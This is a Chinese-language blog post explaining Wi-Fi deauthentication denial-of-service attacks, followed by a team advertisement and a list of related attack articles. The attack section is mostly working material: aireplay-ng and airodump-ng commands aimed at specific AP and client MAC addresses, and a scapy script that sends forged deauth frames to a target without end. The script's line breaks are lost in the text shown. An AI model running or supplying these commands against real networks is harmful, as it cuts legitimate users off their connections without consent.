无线安全~python实现Deauth攻击

Deaulth攻击

Deaulth攻击全称为取消身份验证洪水攻击或验证阻断洪水攻击，通常被简称为Deauth攻击，是无线网络拒绝服务攻击的一种形式。它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联／未认证的状态。整个网络发送了伪造的取消身份验证报文，从而阻断了合法用户和AP之间的连接。当客户端试图与AP重新建立连接时攻击者还在继续向信道中发送取消身份验证帧，这将导致客户端和AP始终无法重连。
它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联／未认证的状态。
简单来说就是攻击者伪造取消认证报文帧，模拟AP发包欺骗被攻击者主机

kali实现deauth攻击

首先，需要一个无线网卡，kali本身没有无线网卡，从淘宝上买一个几十块钱，无线网卡到虚拟机运行需要安装对应的驱动，执行iwcofig/ifconfig看一下无线网卡有没有加载成功

执行airmon-ng start wlan0启动无线网卡杂合模式，对整个无线网络进行监听

执行airodump-ng wlan0展示附近的无线详细信息

执行airodump-ng --bssid --channel 3 wlan0监控所要伪造AP的详细信息，目前有五个目标机器在连接

发送一个deauth管理帧，执行aireplay-ng -0 60 -a 40:31:3C:F5:FA:CE -c 90:78:41:30:02:F0 wlan0进行攻击

结果就是qq掉线，网页访问不到

Deauth攻击代码实现

deauth管理帧具体报文结构如下：

发的包足够多快才能顶掉

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File  : Deauth_attack.py
# @Author: Feng
# @Date  : 2020/11/23
# @Desc  : trace
from scapy.all import *def deauth_attack(bssid, aim_mac, iface='Intel(R) Wireless-AC 9560 160MHz'):# 构造deauth管理帧pkt = RadioTap()/Dot11(subtype=0xc, addr1=aim_mac, addr2=bssid, addr3=bssid)/Dot11Deauth(reason=3)# 发送deauth管理帧while True:print('sending deauth to ' + aim_mac)sendp(pkt, iface=iface, inter=0.05, count=60)if __name__ == '__main__':deauth_attack('40:31:3C:F5:FA:CE', '90:78:41:30:02:F0')

ERRORS团队

ERRORS团队源于网络空间安全的兴趣爱好者共同组建，致力于从网络安全的各个层面维护国家网络空间安全，团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队，旨在通过知识分享、技术探讨提升网络安全意识和专业技能。

加入我们：

ERRORS团队主页： https://www.sentrylab.cn/

盒子团队申请： https://www.vulbox.com/team/ERRORS

或者邮件联系： chihou.pro@gmail.com

无线安全~python实现Deauth攻击相关推荐

无线局域网技术分析及攻击实战
文章目录开始阅读前的注意事项无线局域网安全协议分析及攻击实战 0.摘要 1.无线局域网安全协议分析 1.1 安全协议背景 1.2 WEP协议分析 1.2.1 安全网络操作流程 1.2.2 加解密原 ...
python实现dos攻击_python 实现DoS攻击
python 实现DoS攻击 2020-07-30 03:12 阅读数 6 前言一狗店老板欺负我女神,作为一个程序员这如果都能忍那还算男人?得知这个狗店老板买狗网站后果断决定黑了他,看他嚣张不嚣张 ...
基于Python模仿流量攻击的方法对字节编码攻击
基于Python模仿流量攻击的方法对字节编码攻击一.总目标 NIDS 配置:FE(bytes encoding)+ ML(textCNN) 二.PGA(FE knowledge==100%) 2.1 ...
python模拟ddos攻击_python版DDOS攻击脚本
本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDd ...
python实现cc攻击_运维纪录：遭遇CC攻击，防御与查水表
原标题:运维纪录:遭遇CC攻击,防御与查水表博主之前完成了一个外包项目,最近两个月在负责这个项目的运维.这是一个web,主营不良资产催收O2O.由于可能存在竞争对手,有人试图攻击服务器. 事件回顾 ...
python实现局域网攻击_通过python实现DNS欺骗
假设在一个的局域网内有两个人:Bob和Eve.Eve想让Bob访问他创建的恶意网页,这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件,或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息. ...
python实现dos攻击_dos攻击原理及攻击实例
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务.最常见的DoS攻击有计算机网络带宽攻击和连通性攻击. Do ...
python跨域攻击教学_关于python 跨域处理方式详解
因为浏览器的同源策略限制,不是同源的脚本不能操作其他源下面的资源,想操作另一个源下面的资源就属于跨域了,这里说的跨域是广义跨域,我们常说的代码中请求跨域,是狭义的跨域,即在脚本代码中向非同源域发送ht ...
“人生苦短，我用Python“——身份认证攻击
身份认证攻击身份认证攻击简单网络服务认证攻击 FTP暴力破解模块 SSH暴力破解模块 Web暴力破解模块身份认证攻击目前最常见的身份认证模式采用的仍然是"用户名+密码"的方 ...
Evilnum恶意组织使用新的基于Python的木马攻击金融公司
在过去的几个月中,Cybereason Nocturnus团队一直在调查了Evilnum恶意组织发起的攻击活动.该组织最初成立于2018年,针对英国和欧盟范围内的公司的几次攻击活动都与这个组织有关.目 ...

无线安全~python实现Deauth攻击

无线安全~python实现Deauth攻击相关推荐

最新文章

热门文章